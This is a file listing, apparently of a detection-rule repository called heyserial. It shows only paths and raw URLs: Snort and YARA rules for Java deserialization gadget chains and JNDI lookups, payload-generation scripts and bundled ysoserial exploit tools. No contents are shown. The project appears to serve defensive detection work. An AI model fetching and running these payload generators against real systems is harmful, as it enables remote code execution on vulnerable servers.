-------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/C3P0.snort -------------------------------------------------------------------------------- /rules/javaobj/C3P0.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/C3P0.yara -------------------------------------------------------------------------------- /rules/javaobj/Click1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Click1.snort -------------------------------------------------------------------------------- /rules/javaobj/Click1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Click1.yara -------------------------------------------------------------------------------- /rules/javaobj/Clojure.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Clojure.snort -------------------------------------------------------------------------------- /rules/javaobj/Clojure.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Clojure.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsBeanutils1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsBeanutils1.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsBeanutils1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsBeanutils1.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections1_3.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections1_3.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections1_3.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections1_3.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections2.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections2.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections2.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections2.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections4.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections4.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections4.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections4.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections5.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections5.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections5.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections5.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections6.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections6.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections6.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections6.yara -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections7.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections7.snort -------------------------------------------------------------------------------- /rules/javaobj/CommonsCollections7.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/CommonsCollections7.yara -------------------------------------------------------------------------------- /rules/javaobj/FileUpload1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/FileUpload1.snort -------------------------------------------------------------------------------- /rules/javaobj/FileUpload1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/FileUpload1.yara -------------------------------------------------------------------------------- /rules/javaobj/Groovy1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Groovy1.snort -------------------------------------------------------------------------------- /rules/javaobj/Groovy1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Groovy1.yara -------------------------------------------------------------------------------- /rules/javaobj/Hibernate1_2.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Hibernate1_2.snort -------------------------------------------------------------------------------- /rules/javaobj/Hibernate1_2.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Hibernate1_2.yara -------------------------------------------------------------------------------- /rules/javaobj/JBossInterceptors1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JBossInterceptors1.snort -------------------------------------------------------------------------------- /rules/javaobj/JBossInterceptors1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JBossInterceptors1.yara -------------------------------------------------------------------------------- /rules/javaobj/JRMPClient.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JRMPClient.snort -------------------------------------------------------------------------------- /rules/javaobj/JRMPClient.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JRMPClient.yara -------------------------------------------------------------------------------- /rules/javaobj/JRMPListener.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JRMPListener.snort -------------------------------------------------------------------------------- /rules/javaobj/JRMPListener.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JRMPListener.yara -------------------------------------------------------------------------------- /rules/javaobj/JavassistWeld1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JavassistWeld1.snort -------------------------------------------------------------------------------- /rules/javaobj/JavassistWeld1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/JavassistWeld1.yara -------------------------------------------------------------------------------- /rules/javaobj/Jdk7u21.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Jdk7u21.snort -------------------------------------------------------------------------------- /rules/javaobj/Jdk7u21.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Jdk7u21.yara -------------------------------------------------------------------------------- /rules/javaobj/Jython1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Jython1.snort -------------------------------------------------------------------------------- /rules/javaobj/Jython1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Jython1.yara -------------------------------------------------------------------------------- /rules/javaobj/MozillaRhino1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/MozillaRhino1.snort -------------------------------------------------------------------------------- /rules/javaobj/MozillaRhino1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/MozillaRhino1.yara -------------------------------------------------------------------------------- /rules/javaobj/MozillaRhino2.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/MozillaRhino2.snort -------------------------------------------------------------------------------- /rules/javaobj/MozillaRhino2.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/MozillaRhino2.yara -------------------------------------------------------------------------------- /rules/javaobj/Myfaces1_2.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Myfaces1_2.snort -------------------------------------------------------------------------------- /rules/javaobj/Myfaces1_2.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Myfaces1_2.yara -------------------------------------------------------------------------------- /rules/javaobj/ROME.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/ROME.snort -------------------------------------------------------------------------------- /rules/javaobj/ROME.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/ROME.yara -------------------------------------------------------------------------------- /rules/javaobj/Spring1_2.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Spring1_2.snort -------------------------------------------------------------------------------- /rules/javaobj/Spring1_2.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Spring1_2.yara -------------------------------------------------------------------------------- /rules/javaobj/URLDNS.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/URLDNS.snort -------------------------------------------------------------------------------- /rules/javaobj/URLDNS.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/URLDNS.yara -------------------------------------------------------------------------------- /rules/javaobj/Vaadin1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Vaadin1.snort -------------------------------------------------------------------------------- /rules/javaobj/Vaadin1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Vaadin1.yara -------------------------------------------------------------------------------- /rules/javaobj/Wicket1.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Wicket1.snort -------------------------------------------------------------------------------- /rules/javaobj/Wicket1.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/javaobj/Wicket1.yara -------------------------------------------------------------------------------- /rules/jndiobj/dns.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/dns.snort -------------------------------------------------------------------------------- /rules/jndiobj/dns.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/dns.yara -------------------------------------------------------------------------------- /rules/jndiobj/ldap.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/ldap.snort -------------------------------------------------------------------------------- /rules/jndiobj/ldap.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/ldap.yara -------------------------------------------------------------------------------- /rules/jndiobj/ldaps.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/ldaps.snort -------------------------------------------------------------------------------- /rules/jndiobj/ldaps.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/ldaps.yara -------------------------------------------------------------------------------- /rules/jndiobj/rmi.snort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/rmi.snort -------------------------------------------------------------------------------- /rules/jndiobj/rmi.yara: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/rules/jndiobj/rmi.yara -------------------------------------------------------------------------------- /utils/checkyoself.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/checkyoself.py -------------------------------------------------------------------------------- /utils/generate_payloads.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/generate_payloads.ps1 -------------------------------------------------------------------------------- /utils/generate_payloads.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/generate_payloads.sh -------------------------------------------------------------------------------- /utils/server.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/server.py -------------------------------------------------------------------------------- /utils/ysoserial.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.jar -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/E.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/E.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FSharp.Core.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FSharp.Core.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FSharp.Core.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FSharp.Core.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.CSharp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.CSharp.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.CSharp.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.CSharp.pdb -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.CSharp.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.CSharp.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.Json.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.Json.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.Json.pdb -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.Json.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.Json.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.pdb -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/FsPickler.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/FsPickler.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/Microsoft.PowerShell.Editor.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/Microsoft.PowerShell.Editor.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/NDesk.Options.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/NDesk.Options.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/Newtonsoft.Json.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/Newtonsoft.Json.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/Polenter.SharpSerializer.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/Polenter.SharpSerializer.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/Polenter.SharpSerializer.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/Polenter.SharpSerializer.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/TestConsoleApp_YSONET.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/TestConsoleApp_YSONET.exe -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/TestConsoleApp_YSONET.exe.config: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/TestConsoleApp_YSONET.exe.config -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/TestConsoleApp_YSONET.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/TestConsoleApp_YSONET.pdb -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/YamlDotNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/YamlDotNet.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/YamlDotNet.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/YamlDotNet.xml -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/dlls/Microsoft.PowerShell.Editor.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/dlls/Microsoft.PowerShell.Editor.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/dlls/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/dlls/System.Management.Automation.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/fastjson.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/fastjson.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/microsoft.identitymodel.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/microsoft.identitymodel.dll -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/ysoserial.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/ysoserial.exe -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/ysoserial.exe.config: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/ysoserial.exe.config -------------------------------------------------------------------------------- /utils/ysoserial.net-1.34/ysoserial.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/utils/ysoserial.net-1.34/ysoserial.pdb -------------------------------------------------------------------------------- /ysoserial.net_LICENSE.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/ysoserial.net_LICENSE.txt -------------------------------------------------------------------------------- /ysoserial_LICENSE.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandiant/heyserial/HEAD/ysoserial_LICENSE.txt --------------------------------------------------------------------------------